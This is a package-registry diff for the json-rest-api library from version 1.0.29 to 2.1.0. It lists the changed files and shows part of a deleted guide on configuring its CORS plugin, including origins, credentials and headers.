json-rest-api 1.0.29 → 2.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (294) hide show
  1. package/LICENSE +10 -670
  2. package/LICENSE-GPL-3.0 +674 -0
  3. package/LICENSE-MIT +21 -0
  4. package/README.md +39 -30
  5. package/docs/API.md +744 -1273
  6. package/docs/GUIDE/01-getting-started.md +338 -0
  7. package/docs/GUIDE/02-resources-and-relationships.md +33 -0
  8. package/docs/GUIDE/03-running-example.md +87 -0
  9. package/docs/GUIDE/04-creating-and-querying.md +181 -0
  10. package/docs/GUIDE/05-belongs-to.md +177 -0
  11. package/docs/GUIDE/06-has-many.md +184 -0
  12. package/docs/GUIDE/07-polymorphic-relationships.md +191 -0
  13. package/docs/GUIDE/08-many-to-many.md +184 -0
  14. package/docs/GUIDE/09-pagination-and-sorting.md +149 -0
  15. package/docs/GUIDE/10-put-and-patch.md +174 -0
  16. package/docs/GUIDE/11-relationship-endpoints.md +174 -0
  17. package/docs/GUIDE/12-field-transformations.md +287 -0
  18. package/docs/GUIDE/13-hooks-and-lifecycle.md +479 -0
  19. package/docs/GUIDE/14-custom-resource-methods.md +125 -0
  20. package/docs/GUIDE/15-query-projections.md +266 -0
  21. package/docs/GUIDE/{GUIDE_X_Autofiltering.md → 16-autofiltering.md} +77 -15
  22. package/docs/GUIDE/{GUIDE_X_Row_Policies.md → 17-row-policies.md} +137 -44
  23. package/docs/GUIDE/18-labels.md +86 -0
  24. package/docs/GUIDE/19-managed-transactions.md +179 -0
  25. package/docs/GUIDE/20-transaction-outcomes.md +207 -0
  26. package/docs/GUIDE/21-schema-and-migrations.md +733 -0
  27. package/docs/GUIDE/22-version-field-migrations.md +208 -0
  28. package/docs/GUIDE/23-fastify.md +179 -0
  29. package/docs/GUIDE/24-cors.md +172 -0
  30. package/docs/GUIDE/{GUIDE_X_URL_Management.md → 25-url-management.md} +7 -1
  31. package/docs/GUIDE/26-file-uploads.md +278 -0
  32. package/docs/GUIDE/27-bulk-operations.md +277 -0
  33. package/docs/GUIDE/28-socketio.md +325 -0
  34. package/docs/GUIDE/29-writing-plugins.md +278 -0
  35. package/docs/GUIDE/30-backend-capabilities.md +103 -0
  36. package/docs/GUIDE/31-positioning.md +181 -0
  37. package/docs/GUIDE/{GUIDE_Y_Appendices.md → 32-date-and-time.md} +74 -30
  38. package/docs/GUIDE/33-migrating-to-v2.md +3838 -0
  39. package/docs/GUIDE/index.md +51 -59
  40. package/docs/QUICKSTART.md +120 -287
  41. package/docs/architecture.md +75 -0
  42. package/docs/contributing.md +178 -0
  43. package/index.d.ts +37 -0
  44. package/index.js +3 -22
  45. package/lib/enhanced-logger.js +91 -85
  46. package/lib/error-context.js +445 -5
  47. package/lib/error-formatter.js +219 -59
  48. package/lib/knex-transaction.js +70 -0
  49. package/lib/logger-types.d.ts +22 -0
  50. package/lib/missing-package.js +4 -0
  51. package/lib/rest-api-errors.js +103 -8
  52. package/lib/runtime/json-rest-api.js +172 -0
  53. package/lib/transaction-types.d.ts +59 -0
  54. package/package.json +97 -27
  55. package/plugins/core/bulk-operations-plugin.js +191 -184
  56. package/plugins/core/connectors/express-plugin.js +148 -219
  57. package/plugins/core/connectors/fastify-plugin.js +125 -82
  58. package/plugins/core/connectors/lib/busboy-detector.js +74 -156
  59. package/plugins/core/connectors/lib/connector-core.js +144 -20
  60. package/plugins/core/connectors/lib/formidable-detector.js +63 -120
  61. package/plugins/core/connectors/lib/http-validators.js +77 -0
  62. package/plugins/core/connectors/lib/multipart-helpers.js +18 -0
  63. package/plugins/core/connectors/lib/request-helpers.js +10 -1
  64. package/plugins/core/connectors/lib/transport-http-helpers.js +89 -8
  65. package/plugins/core/connectors/lib/transport-route-schemas.js +7 -4
  66. package/plugins/core/file-handling-plugin.js +87 -177
  67. package/plugins/core/lib/anyapi/anyapi-registry.js +586 -418
  68. package/plugins/core/lib/anyapi/canonical-link-store.js +507 -0
  69. package/plugins/core/lib/anyapi/canonical-relationship-reader.js +598 -0
  70. package/plugins/core/lib/anyapi/schema-utils.js +120 -56
  71. package/plugins/core/lib/anyapi/stored-definition.js +109 -0
  72. package/plugins/core/lib/anyapi/utils/descriptor-helpers.js +0 -64
  73. package/plugins/core/lib/dbIntrospection.js +228 -21
  74. package/plugins/core/lib/dbTablesOperations.js +409 -92
  75. package/plugins/core/lib/fractional-positioning.js +12 -48
  76. package/plugins/core/lib/querying/identifier-query.js +19 -0
  77. package/plugins/core/lib/querying/include-query-helpers.js +364 -0
  78. package/plugins/core/lib/querying/include-to-many.js +428 -0
  79. package/plugins/core/lib/querying/include-to-one.js +579 -0
  80. package/plugins/core/lib/querying/knex-cross-table-search.js +31 -307
  81. package/plugins/core/lib/querying/knex-json-api-transformers-querying.js +99 -401
  82. package/plugins/core/lib/querying/knex-pagination-helpers.js +48 -317
  83. package/plugins/core/lib/querying/knex-process-includes.js +5 -110
  84. package/plugins/core/lib/querying/knex-query-helpers-base.js +21 -56
  85. package/plugins/core/lib/querying/knex-query-helpers.js +298 -448
  86. package/plugins/core/lib/querying/knex-relationship-includes.js +120 -2138
  87. package/plugins/core/lib/querying/knex-window-queries.js +62 -253
  88. package/plugins/core/lib/querying/query-builder-utils.js +44 -4
  89. package/plugins/core/lib/querying/query-constraint.d.ts +12 -0
  90. package/plugins/core/lib/querying/query-constraint.js +27 -0
  91. package/plugins/core/lib/querying/query-field-sort-helpers.js +134 -37
  92. package/plugins/core/lib/querying/relationship-identifiers.js +208 -0
  93. package/plugins/core/lib/querying/sort-helpers.js +13 -1
  94. package/plugins/core/lib/querying/storage-adapter-utils.js +13 -5
  95. package/plugins/core/lib/querying/url-helpers.js +11 -4
  96. package/plugins/core/lib/querying-writing/compile-schemas.js +148 -249
  97. package/plugins/core/lib/querying-writing/connectors-query-parser.js +33 -118
  98. package/plugins/core/lib/querying-writing/database-capabilities.js +149 -223
  99. package/plugins/core/lib/querying-writing/database-value-normalizers.js +179 -194
  100. package/plugins/core/lib/querying-writing/default-data-helpers.js +15 -45
  101. package/plugins/core/lib/querying-writing/field-selection-types.d.ts +43 -0
  102. package/plugins/core/lib/querying-writing/field-utils.js +113 -92
  103. package/plugins/core/lib/querying-writing/knex-constants.d.ts +18 -0
  104. package/plugins/core/lib/querying-writing/knex-constants.js +2 -26
  105. package/plugins/core/lib/querying-writing/knex-field-helpers.js +100 -290
  106. package/plugins/core/lib/querying-writing/knex-json-api-transformers.js +31 -120
  107. package/plugins/core/lib/querying-writing/query-field-helpers.js +108 -32
  108. package/plugins/core/lib/querying-writing/query-field-types.d.ts +60 -0
  109. package/plugins/core/lib/querying-writing/relationship-contracts.js +33 -13
  110. package/plugins/core/lib/querying-writing/request-contracts.js +93 -38
  111. package/plugins/core/lib/querying-writing/resource-id-normalization.js +23 -5
  112. package/plugins/core/lib/querying-writing/response-options.js +35 -0
  113. package/plugins/core/lib/querying-writing/schema-helpers.js +203 -324
  114. package/plugins/core/lib/querying-writing/scope-validations.js +92 -290
  115. package/plugins/core/lib/querying-writing/simplified-helpers.js +113 -712
  116. package/plugins/core/lib/storage/canonical-data-helpers.js +683 -0
  117. package/plugins/core/lib/storage/canonical-storage-mapping.js +51 -20
  118. package/plugins/core/lib/storage/ordinary-data-helpers.js +710 -0
  119. package/plugins/core/lib/storage/storage-adapter.js +128 -62
  120. package/plugins/core/lib/storage/storage-mapping.js +78 -28
  121. package/plugins/core/lib/storage/storage-types.d.ts +502 -0
  122. package/plugins/core/lib/writing/many-to-many-manipulations.js +114 -284
  123. package/plugins/core/lib/writing/relationship-processor.js +94 -158
  124. package/plugins/core/lib/writing/resource-version.js +172 -0
  125. package/plugins/core/lib/writing/reverse-relationship-manipulations.js +110 -0
  126. package/plugins/core/rest-api-anyapi-knex-plugin.js +290 -2475
  127. package/plugins/core/rest-api-autofilter-plugin.js +17 -19
  128. package/plugins/core/rest-api-cors-plugin.js +52 -205
  129. package/plugins/core/rest-api-knex-plugin.js +45 -1077
  130. package/plugins/core/rest-api-label-plugin.js +25 -38
  131. package/plugins/core/rest-api-plugin-hooks/register-relationship-routes.js +5 -5
  132. package/plugins/core/rest-api-plugin-hooks/register-scope-routes.js +9 -6
  133. package/plugins/core/rest-api-plugin-hooks/turn-scope-init-into-vars.js +7 -26
  134. package/plugins/core/rest-api-plugin-hooks/validate-include-configurations.js +20 -26
  135. package/plugins/core/rest-api-plugin-methods/add-route.js +4 -6
  136. package/plugins/core/rest-api-plugin-methods/apply-query-filters.js +42 -13
  137. package/plugins/core/rest-api-plugin-methods/check-permissions.js +11 -5
  138. package/plugins/core/rest-api-plugin-methods/common.js +291 -395
  139. package/plugins/core/rest-api-plugin-methods/delete-relationship.js +49 -47
  140. package/plugins/core/rest-api-plugin-methods/delete.js +31 -25
  141. package/plugins/core/rest-api-plugin-methods/enrich-attributes.js +108 -148
  142. package/plugins/core/rest-api-plugin-methods/get-related.js +113 -305
  143. package/plugins/core/rest-api-plugin-methods/get-relationship.js +25 -18
  144. package/plugins/core/rest-api-plugin-methods/get.js +36 -68
  145. package/plugins/core/rest-api-plugin-methods/lifecycle-types.d.ts +225 -0
  146. package/plugins/core/rest-api-plugin-methods/patch-relationship.js +28 -25
  147. package/plugins/core/rest-api-plugin-methods/patch.js +46 -99
  148. package/plugins/core/rest-api-plugin-methods/post-relationship.js +49 -53
  149. package/plugins/core/rest-api-plugin-methods/post.js +51 -51
  150. package/plugins/core/rest-api-plugin-methods/put.js +69 -148
  151. package/plugins/core/rest-api-plugin-methods/query.js +37 -81
  152. package/plugins/core/rest-api-plugin-methods/release.js +2 -1
  153. package/plugins/core/rest-api-plugin.js +32 -46
  154. package/plugins/core/rest-api-positioning-plugin.js +183 -628
  155. package/plugins/core/rest-api-query-projections-plugin.js +19 -102
  156. package/plugins/core/rest-api-row-policy-plugin.js +3 -3
  157. package/plugins/core/socketio-plugin.js +364 -344
  158. package/plugins/storage/local-storage.js +40 -36
  159. package/types/anyapi.d.ts +30 -0
  160. package/types/autofilter.d.ts +57 -0
  161. package/types/bulk-methods.d.ts +63 -0
  162. package/types/errors.d.ts +118 -0
  163. package/types/fastify-options.d.ts +19 -0
  164. package/types/file-detectors.d.ts +33 -0
  165. package/types/file-storage.d.ts +48 -0
  166. package/types/hook-context.d.ts +180 -0
  167. package/types/plugin-options.d.ts +65 -0
  168. package/types/relationship-methods.d.ts +74 -0
  169. package/types/representations.d.ts +50 -0
  170. package/types/resource-methods.d.ts +95 -0
  171. package/types/resource-schema.d.ts +157 -0
  172. package/types/row-policy.d.ts +31 -0
  173. package/types/runtime.d.ts +132 -0
  174. package/types/transactions.d.ts +21 -0
  175. package/.claude/agents/library-guide-expert.md +0 -30
  176. package/.claude/agents/rest-api-internals-expert.md +0 -54
  177. package/.claude/settings.local.json +0 -70
  178. package/AGENTS.md +0 -34
  179. package/CLAUDE.md +0 -160
  180. package/CRUSH.md +0 -55
  181. package/JSKIT_BACKEND_MIGRATION_TRACKER.txt +0 -180
  182. package/SINGLE_VALIDATION_CONTRACT_TODO.txt +0 -172
  183. package/TODO.todo +0 -13
  184. package/connectors_ideas/fastify.js +0 -217
  185. package/connectors_ideas/koa-plugin.js +0 -112
  186. package/docs/.bundle/config +0 -2
  187. package/docs/COMPARISON.md +0 -433
  188. package/docs/GUIDE/GUIDE_1_Initial_Setup.md +0 -1057
  189. package/docs/GUIDE/GUIDE_2_1_The_Starting_Point.md +0 -88
  190. package/docs/GUIDE/GUIDE_2_2_Manipulating_And_Searching_Tables.md +0 -808
  191. package/docs/GUIDE/GUIDE_2_3_BelongsTo_Relationships.md +0 -491
  192. package/docs/GUIDE/GUIDE_2_4_HasMany_Records.md +0 -398
  193. package/docs/GUIDE/GUIDE_2_5_HasMany_Polymorphic.md +0 -898
  194. package/docs/GUIDE/GUIDE_2_6_Many_To_Many.md +0 -712
  195. package/docs/GUIDE/GUIDE_2_7_Pagination_And_Ordering.md +0 -1247
  196. package/docs/GUIDE/GUIDE_2_8_Effects_of_PUT_and_PATCH.md +0 -748
  197. package/docs/GUIDE/GUIDE_2_9_Relationships_Urls.md +0 -517
  198. package/docs/GUIDE/GUIDE_2_Data_And_Relations.md +0 -66
  199. package/docs/GUIDE/GUIDE_3_Field_Transformations.md +0 -1252
  200. package/docs/GUIDE/GUIDE_5_Non-Db_Resources.md +0 -1107
  201. package/docs/GUIDE/GUIDE_6_Positioning.md +0 -692
  202. package/docs/GUIDE/GUIDE_7_Hooks_Data_Management_And_Plugins.md +0 -1491
  203. package/docs/GUIDE/GUIDE_X_Bulk_Operations.md +0 -732
  204. package/docs/GUIDE/GUIDE_X_Cors.md +0 -1957
  205. package/docs/GUIDE/GUIDE_X_Fastify.md +0 -78
  206. package/docs/GUIDE/GUIDE_X_File_Uploads.md +0 -729
  207. package/docs/GUIDE/GUIDE_X_Knex_Schema_And_Migrations.md +0 -370
  208. package/docs/GUIDE/GUIDE_X_Query_Projections.md +0 -159
  209. package/docs/GUIDE/GUIDE_X_SocketIO.md +0 -1040
  210. package/docs/GUIDE/GUIDE_X_Writing_Plugins.md +0 -201
  211. package/docs/Gemfile +0 -6
  212. package/docs/Gemfile.lock +0 -308
  213. package/docs/ONBOARDING.md +0 -315
  214. package/docs/_config.yml +0 -36
  215. package/docs/_layouts/default.html +0 -123
  216. package/docs/apple-touch-icon.svg +0 -4
  217. package/docs/assets/css/style.scss +0 -392
  218. package/docs/favicon.svg +0 -4
  219. package/docs/index.md +0 -164
  220. package/docs/mini-guides/file-uploads-complete.md +0 -161
  221. package/eslint.config.js +0 -13
  222. package/examples/url-override-example.js +0 -137
  223. package/fixing_plan.md +0 -112
  224. package/plugins/core/lib/anyapi/query/anyapi-query-adapter.js +0 -657
  225. package/plugins/core/lib/querying-writing/return-record-settings.js +0 -47
  226. package/plugins/core/lib/writing/knex-json-api-transformers-writing.js +0 -110
  227. package/plugins/storage/s3-storage.js +0 -93
  228. package/quickTest.js +0 -136
  229. package/scripts/debug-anyapi-review-filter.mjs +0 -63
  230. package/scripts/inspect-anyapi-descriptor-country.mjs +0 -19
  231. package/scripts/inspect-anyapi-descriptor.mjs +0 -19
  232. package/scripts/run-docs.js +0 -133
  233. package/test-debug.js +0 -59
  234. package/tests/README.md +0 -202
  235. package/tests/TEST_TEMPLATE.test.js +0 -178
  236. package/tests/anyapi-basic.test.js +0 -105
  237. package/tests/anyapi-cursor-pagination.test.js +0 -148
  238. package/tests/anyapi-custom-idproperty.test.js +0 -163
  239. package/tests/autofilter.test.js +0 -463
  240. package/tests/bulk-operations.test.js +0 -657
  241. package/tests/computed-fields.test.js +0 -586
  242. package/tests/cors.test.js +0 -834
  243. package/tests/curl.test.js +0 -467
  244. package/tests/custom-id-mysql-returning-fallback.test.js +0 -128
  245. package/tests/custom-id-simplified-post.test.js +0 -75
  246. package/tests/custom-idproperty-relationships.test.js +0 -932
  247. package/tests/db-introspection.test.js +0 -521
  248. package/tests/db-table-operations.test.js +0 -798
  249. package/tests/fastify-plugin.test.js +0 -184
  250. package/tests/field-getters.test.js +0 -370
  251. package/tests/field-setters.test.js +0 -306
  252. package/tests/file-handling.test.js +0 -155
  253. package/tests/fixtures/api-configs.js +0 -2566
  254. package/tests/full-jsonapi-belongsto-linkage.test.js +0 -150
  255. package/tests/helpers/fake-fastify.js +0 -99
  256. package/tests/helpers/storage-mode.js +0 -65
  257. package/tests/helpers/test-utils.js +0 -203
  258. package/tests/http-connectors-parity.test.js +0 -395
  259. package/tests/id-normalization.test.js +0 -444
  260. package/tests/include-depth-validation.test.js +0 -331
  261. package/tests/includes.test.js +0 -427
  262. package/tests/local-storage.test.js +0 -96
  263. package/tests/logical-id-write-validation.test.js +0 -151
  264. package/tests/nested-includes.test.js +0 -617
  265. package/tests/pagination-boundaries.test.js +0 -154
  266. package/tests/pagination-contract.test.js +0 -122
  267. package/tests/pagination-cursor-multifield.test.js +0 -641
  268. package/tests/pagination-enhanced.test.js +0 -563
  269. package/tests/polymorphic-relationships.test.js +0 -347
  270. package/tests/polymorphic-simple.test.js +0 -148
  271. package/tests/positioning-advanced.test.js +0 -692
  272. package/tests/positioning-extended.test.js +0 -915
  273. package/tests/positioning-multifilter.test.js +0 -699
  274. package/tests/positioning.test.js +0 -560
  275. package/tests/post-commit-hooks.test.js +0 -120
  276. package/tests/projected-fields.test.js +0 -319
  277. package/tests/public-exports.test.js +0 -15
  278. package/tests/put-create-parity.test.js +0 -216
  279. package/tests/queries.test.js +0 -521
  280. package/tests/query-limits.test.js +0 -584
  281. package/tests/relationship-endpoints.test.js +0 -620
  282. package/tests/relationship-include-storage-adapter.test.js +0 -56
  283. package/tests/relationships.test.js +0 -681
  284. package/tests/rest-api.test.js +0 -337
  285. package/tests/return-record-settings.test.js +0 -184
  286. package/tests/row-policy.test.js +0 -489
  287. package/tests/s3-storage.test.js +0 -38
  288. package/tests/searchschema-knex-behavior.test.js +0 -187
  289. package/tests/searchschema-merge.test.js +0 -151
  290. package/tests/socketio.test.js +0 -860
  291. package/tests/storage-mapping.test.js +0 -362
  292. package/tests/temporal-boundaries.test.js +0 -208
  293. package/tests/test-development-guide.md +0 -370
  294. package/tests/virtual-fields.test.js +0 -404
@@ -1,1957 +0,0 @@
1
- # CORS Plugin Guide
2
-
3
- Cross-Origin Resource Sharing (CORS) is essential for APIs accessed by web browsers. This guide shows you how to use the CORS plugin to enable cross-origin requests in your JSON REST API.
4
-
5
- ## Table of Contents
6
- 1. [Basic Setup](#basic-setup)
7
- 2. [Configuration Options](#configuration-options)
8
- 3. [Common Use Cases](#common-use-cases)
9
- 4. [Advanced Patterns](#advanced-patterns)
10
- 6. [Troubleshooting](#troubleshooting)
11
-
12
-
13
- ## Intro: What is CORS
14
-
15
- CORS stands for **Cross-Origin Resource Sharing**. It's a security feature implemented by web browsers to protect users from malicious websites.
16
-
17
- **The server ALWAYS responds to requests regardless of origin.** CORS is enforced by the BROWSER, not the server. This is a crucial distinction:
18
-
19
- - ✅ **Servers**: Always process and respond to requests from any origin
20
- - 🛡️ **Browsers**: Block the response from reaching JavaScript if CORS headers don't allow it
21
- - 🔓 **Non-browser clients** (cURL, Postman, mobile apps): Not affected by CORS at all
22
-
23
- By default, web browsers enforce the **Same-Origin Policy**, which blocks web pages from making requests to a different domain than the one serving the page. While this protects users, it also prevents legitimate cross-domain API calls.
24
-
25
- For example:
26
- - Your web app is served from `https://myapp.com`
27
- - Your API is hosted at `https://api.myapp.com`
28
- - Without CORS, the browser will block requests from the web app to the API
29
-
30
- CORS allows servers to specify which origins (domains) are permitted to access their resources. Here's the flow:
31
-
32
- 1. **Simple Requests**: For basic GET/POST requests, the browser sends an `Origin` header
33
- 2. **Preflight Requests**: For complex requests (custom headers, PUT/DELETE, etc.), the browser first sends an OPTIONS request
34
- 3. **Server Response**: The server ALWAYS responds with data + CORS headers
35
- 4. **Browser Decision**: The browser either gives the response to JavaScript OR blocks it
36
-
37
- Imagine you're building a weather app:
38
- - Frontend: `https://coolweather.app` (your React/Vue/Angular app)
39
- - Backend: `https://api.weather-service.com` (your API)
40
-
41
- When a user visits your frontend and it tries to fetch weather data:
42
-
43
- ```javascript
44
- // This code runs in the browser at https://coolweather.app
45
- fetch('https://api.weather-service.com/forecast')
46
- .then(res => res.json())
47
- .then(data => console.log(data));
48
- ```
49
-
50
- Without CORS headers from the API:
51
- ```
52
- ✅ API receives the request and sends response
53
- ❌ Browser blocks JavaScript from reading the response
54
- ❌ Console error: "CORS policy: No 'Access-Control-Allow-Origin' header"
55
- ❌ User sees no weather data
56
- 🔍 Network tab shows the full response (but JS can't access it)
57
- ```
58
-
59
- With CORS headers from the API:
60
- ```
61
- ✅ API receives the request and sends response
62
- ✅ API includes: Access-Control-Allow-Origin: https://coolweather.app
63
- ✅ Browser allows JavaScript to read the response
64
- ✅ User sees weather data
65
- ```
66
-
67
- **CORS does NOT protect your API from:**
68
- - Direct requests (cURL, Postman, scripts)
69
- - Mobile apps
70
- - Backend-to-backend communication
71
- - Malicious users with browser dev tools
72
- - Web scraping tools
73
-
74
- **CORS ONLY protects:**
75
- - Users from having their credentials used by malicious websites
76
- - Browser-based JavaScript from reading responses it shouldn't
77
-
78
- **Therefore:** CORS is about protecting users, not protecting your API. You still need:
79
- - Authentication (API keys, tokens)
80
- - Authorization (user permissions)
81
- - Rate limiting
82
- - Input validation
83
-
84
- ## Basic Setup
85
-
86
- The CORS plugin automatically handles preflight requests and adds appropriate headers to all responses.
87
-
88
- The basic CORS setup creates a permissive configuration suitable for development:
89
-
90
- **What it ALLOWS:**
91
- - ✅ Requests from ANY origin (website, mobile app, Postman, etc.)
92
- - ✅ All standard HTTP methods (GET, POST, PUT, PATCH, DELETE)
93
- - ✅ Credentials (cookies, authorization headers) to be sent
94
- - ✅ Common request headers (Content-Type, Authorization, etc.)
95
- - ✅ Browser to cache preflight responses for 24 hours
96
-
97
- **What it BLOCKS:**
98
- - ❌ Nothing - this is the most permissive setup
99
- - ⚠️ This is why it's only recommended for development
100
-
101
- **Important Security Note:**
102
- The combination of `origin: '*'` (wildcard) and `credentials: true` is actually invalid according to CORS specification. When credentials are enabled, browsers require a specific origin. The CORS plugin handles this by dynamically setting the origin to match the request.
103
-
104
- ### Complete Example
105
-
106
- Here's a complete API setup with CORS enabled with the most permissive setup:
107
-
108
- ```javascript
109
- import { Api } from 'hooked-api';
110
- import { RestApiPlugin } from './plugins/core/rest-api-plugin.js';
111
- import { RestApiKnexPlugin } from './plugins/core/rest-api-knex-plugin.js';
112
- import { ExpressPlugin } from './plugins/core/connectors/express-plugin.js';
113
- import { CorsPlugin } from './plugins/core/rest-api-cors-plugin.js';
114
- import express from 'express';
115
- import knex from 'knex';
116
-
117
- // Create API instance
118
- const api = new Api({ name: 'my-api' });
119
-
120
- // Set up database
121
- const db = knex({
122
- client: 'sqlite3',
123
- connection: { filename: ':memory:' },
124
- useNullAsDefault: true
125
- });
126
-
127
- // Install plugins
128
- await api.use(RestApiPlugin);
129
- await api.use(RestApiKnexPlugin, { knex: db });
130
- await api.use(ExpressPlugin, { app: express() });
131
- await api.use(CorsPlugin);
132
-
133
- // Add a resource
134
- await api.addScope('articles', {
135
- restApi: {
136
- schema: {
137
- attributes: {
138
- title: { type: 'string', required: true },
139
- content: { type: 'string' }
140
- }
141
- }
142
- }
143
- });
144
-
145
- // Mount Express routes
146
- const app = express();
147
- api.http.express.mount(app);
148
- app.listen(3000).on('error', (err) => {
149
- console.error('Failed to start server:', err);
150
- process.exit(1)
151
- });
152
- ```
153
-
154
- ### The default setup in detail
155
-
156
- When you use the basic setup:
157
- ```javascript
158
- await api.use(CorsPlugin);
159
- ```
160
-
161
- It's equivalent to writing:
162
- ```javascript
163
- await api.use(CorsPlugin, {
164
- 'rest-api-cors': {
165
- origin: '*',
166
- credentials: true,
167
- methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS'],
168
- allowedHeaders: [
169
- 'Content-Type',
170
- 'Authorization',
171
- 'X-Requested-With',
172
- 'X-HTTP-Method-Override',
173
- 'Accept',
174
- 'Origin'
175
- ],
176
- exposedHeaders: [
177
- 'X-Total-Count',
178
- 'X-Page-Count',
179
- 'Link',
180
- 'Location'
181
- ],
182
- maxAge: 86400,
183
- optionsSuccessStatus: 204
184
- }
185
- });
186
- ```
187
-
188
- #### `origin: '*'` - Who Can Access Your API
189
- - `'*'` means "any origin" - any website can call your API
190
- - In practice, when `credentials: true`, the plugin dynamically sets this to the requesting origin
191
- - Think of it as saying "I trust everyone" - fine for development, dangerous for production
192
-
193
- #### `credentials: true` - Cookies and Authentication
194
- - Allows browsers to send cookies and authorization headers with requests
195
- - Essential for APIs that use cookie-based sessions or need authentication
196
- - Forces the origin to be specific (not wildcard) in responses
197
-
198
- #### `methods: [...]` - What Actions Are Allowed
199
- - Lists HTTP methods clients can use
200
- - `GET`: Read data (fetch users, articles, etc.)
201
- - `POST`: Create new resources
202
- - `PUT`: Replace entire resources
203
- - `PATCH`: Update parts of resources
204
- - `DELETE`: Remove resources
205
- - `OPTIONS`: Preflight requests (browser asks "what can I do?")
206
-
207
- #### `allowedHeaders: [...]` - What Headers Clients Can Send
208
- - `Content-Type`: Specifies data format (application/json, etc.)
209
- - `Authorization`: For Bearer tokens, API keys
210
- - `X-Requested-With`: Often used to identify AJAX requests
211
- - `X-HTTP-Method-Override`: Allows method override for limited clients
212
- - `Accept`: What response formats the client wants
213
- - `Origin`: Where the request is coming from
214
-
215
- #### `exposedHeaders: [...]` - What Headers Clients Can Read
216
- - By default, browsers only let JavaScript read basic headers
217
- - `X-Total-Count`: Total number of items (for pagination)
218
- - `X-Page-Count`: Total number of pages
219
- - `Link`: Pagination links (next, prev, first, last)
220
- - `Location`: Where a newly created resource can be found
221
-
222
- #### `maxAge: 86400` - Preflight Cache Duration
223
- - Browsers can cache preflight responses for 86400 seconds (24 hours)
224
- - Reduces preflight requests, improving performance
225
- - During development, you might want this lower (3600 = 1 hour)
226
-
227
- #### `optionsSuccessStatus: 204` - Preflight Response Code
228
- - `204 No Content` is the standard for successful OPTIONS
229
- - Tells the browser "yes, you can make this request" without sending body data
230
-
231
- ## Configuration Options
232
-
233
- The CORS plugin accepts various configuration options.
234
-
235
- | Option | Type | Default | Description |
236
- |--------|------|---------|-------------|
237
- | `origin` | String, RegExp, Array, Function | `'*'` | Allowed origins |
238
- | `credentials` | Boolean | `true` | Allow credentials |
239
- | `methods` | Array | `['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS']` | Allowed HTTP methods |
240
- | `allowedHeaders` | Array | `['Content-Type', 'Authorization', 'X-Requested-With', 'X-HTTP-Method-Override', 'Accept', 'Origin']` | Headers clients can send |
241
- | `exposedHeaders` | Array | `['X-Total-Count', 'X-Page-Count', 'Link', 'Location']` | Headers exposed to clients |
242
- | `maxAge` | Number | `86400` | Preflight cache duration (seconds) |
243
- | `optionsSuccessStatus` | Number | `204` | Status code for successful OPTIONS |
244
-
245
- ### Configuration Examples
246
-
247
- ### Understanding Each Configuration Example
248
-
249
- Each example below shows different ways to configure CORS for specific scenarios. We'll explain what each does, why you'd use it, and provide real-world context.
250
-
251
- #### Specific Origin
252
-
253
- **What it does:** Restricts API access to a single, specific domain.
254
-
255
- **Real-world scenario:** You have a production API that should only be accessed by your official web application.
256
-
257
- ```javascript
258
- await api.use(CorsPlugin, {
259
- 'rest-api-cors': {
260
- origin: 'https://app.example.com',
261
- credentials: true
262
- }
263
- });
264
- ```
265
-
266
- **How it works:**
267
- - Only requests from `https://app.example.com` will be allowed
268
- - Requests from `https://example.com` (no subdomain) will be BLOCKED
269
- - Requests from `http://app.example.com` (HTTP, not HTTPS) will be BLOCKED
270
- - The browser will receive: `Access-Control-Allow-Origin: https://app.example.com`
271
-
272
- **Example scenario:**
273
- Your company's dashboard at `https://dashboard.mycompany.com` needs to access the API at `https://api.mycompany.com`. No other domains should have access.
274
-
275
- ```javascript
276
- // API configuration
277
- await api.use(CorsPlugin, {
278
- 'rest-api-cors': {
279
- origin: 'https://dashboard.mycompany.com',
280
- credentials: true // Allow cookies for user sessions
281
- }
282
- });
283
- ```
284
-
285
- #### Multiple Origins
286
-
287
- **What it does:** Allows access from a specific list of domains.
288
-
289
- **Real-world scenario:** You have multiple legitimate frontends (main app, admin panel, mobile web) that need API access.
290
-
291
- ```javascript
292
- await api.use(CorsPlugin, {
293
- 'rest-api-cors': {
294
- origin: ['https://app.example.com', 'https://admin.example.com'],
295
- credentials: true
296
- }
297
- });
298
- ```
299
-
300
- **How it works:**
301
- - The plugin checks if the request's origin is in the array
302
- - Only exact matches are allowed
303
- - For each allowed origin, the response includes that specific origin
304
-
305
- **Example scenario:**
306
- Your SaaS platform has multiple interfaces:
307
-
308
- ```javascript
309
- await api.use(CorsPlugin, {
310
- 'rest-api-cors': {
311
- origin: [
312
- 'https://app.mysaas.com', // Main application
313
- 'https://admin.mysaas.com', // Admin dashboard
314
- 'https://mobile.mysaas.com', // Mobile web version
315
- 'https://staging.mysaas.com' // Staging environment
316
- ],
317
- credentials: true
318
- }
319
- });
320
- ```
321
-
322
- **What happens:**
323
- - Request from `https://app.mysaas.com` → Allowed, gets `Access-Control-Allow-Origin: https://app.mysaas.com`
324
- - Request from `https://blog.mysaas.com` → BLOCKED (not in the list)
325
- - Request from `https://app.mysaas.com:3000` → BLOCKED (port must match exactly)
326
-
327
- #### Pattern Matching with RegExp
328
-
329
- **What it does:** Uses regular expressions to match origins dynamically.
330
-
331
- **Real-world scenario:** You want to allow all subdomains of your main domain, or have a dynamic pattern for customer-specific domains.
332
-
333
- ```javascript
334
- await api.use(CorsPlugin, {
335
- 'rest-api-cors': {
336
- origin: /^https:\/\/.*\.example\.com$/,
337
- credentials: true
338
- }
339
- });
340
- ```
341
-
342
- **How it works:**
343
- - The RegExp `/^https:\/\/.*\.example\.com$/` matches:
344
- - `^https:\/\/` - Must start with `https://`
345
- - `.*` - Any characters (subdomain)
346
- - `\.example\.com$` - Must end with `.example.com`
347
-
348
- **What it matches:**
349
- - ✅ `https://app.example.com`
350
- - ✅ `https://staging.example.com`
351
- - ✅ `https://customer1.example.com`
352
- - ✅ `https://api.v2.example.com` (multiple subdomains)
353
- - ❌ `https://example.com` (no subdomain)
354
- - ❌ `http://app.example.com` (HTTP not HTTPS)
355
- - ❌ `https://app.example.org` (wrong TLD)
356
-
357
- **Real-world example:** Multi-tenant SaaS where each customer gets a subdomain:
358
-
359
- ```javascript
360
- // Allow any customer subdomain
361
- await api.use(CorsPlugin, {
362
- 'rest-api-cors': {
363
- origin: /^https:\/\/[a-z0-9-]+\.myapp\.com$/,
364
- credentials: true
365
- }
366
- });
367
-
368
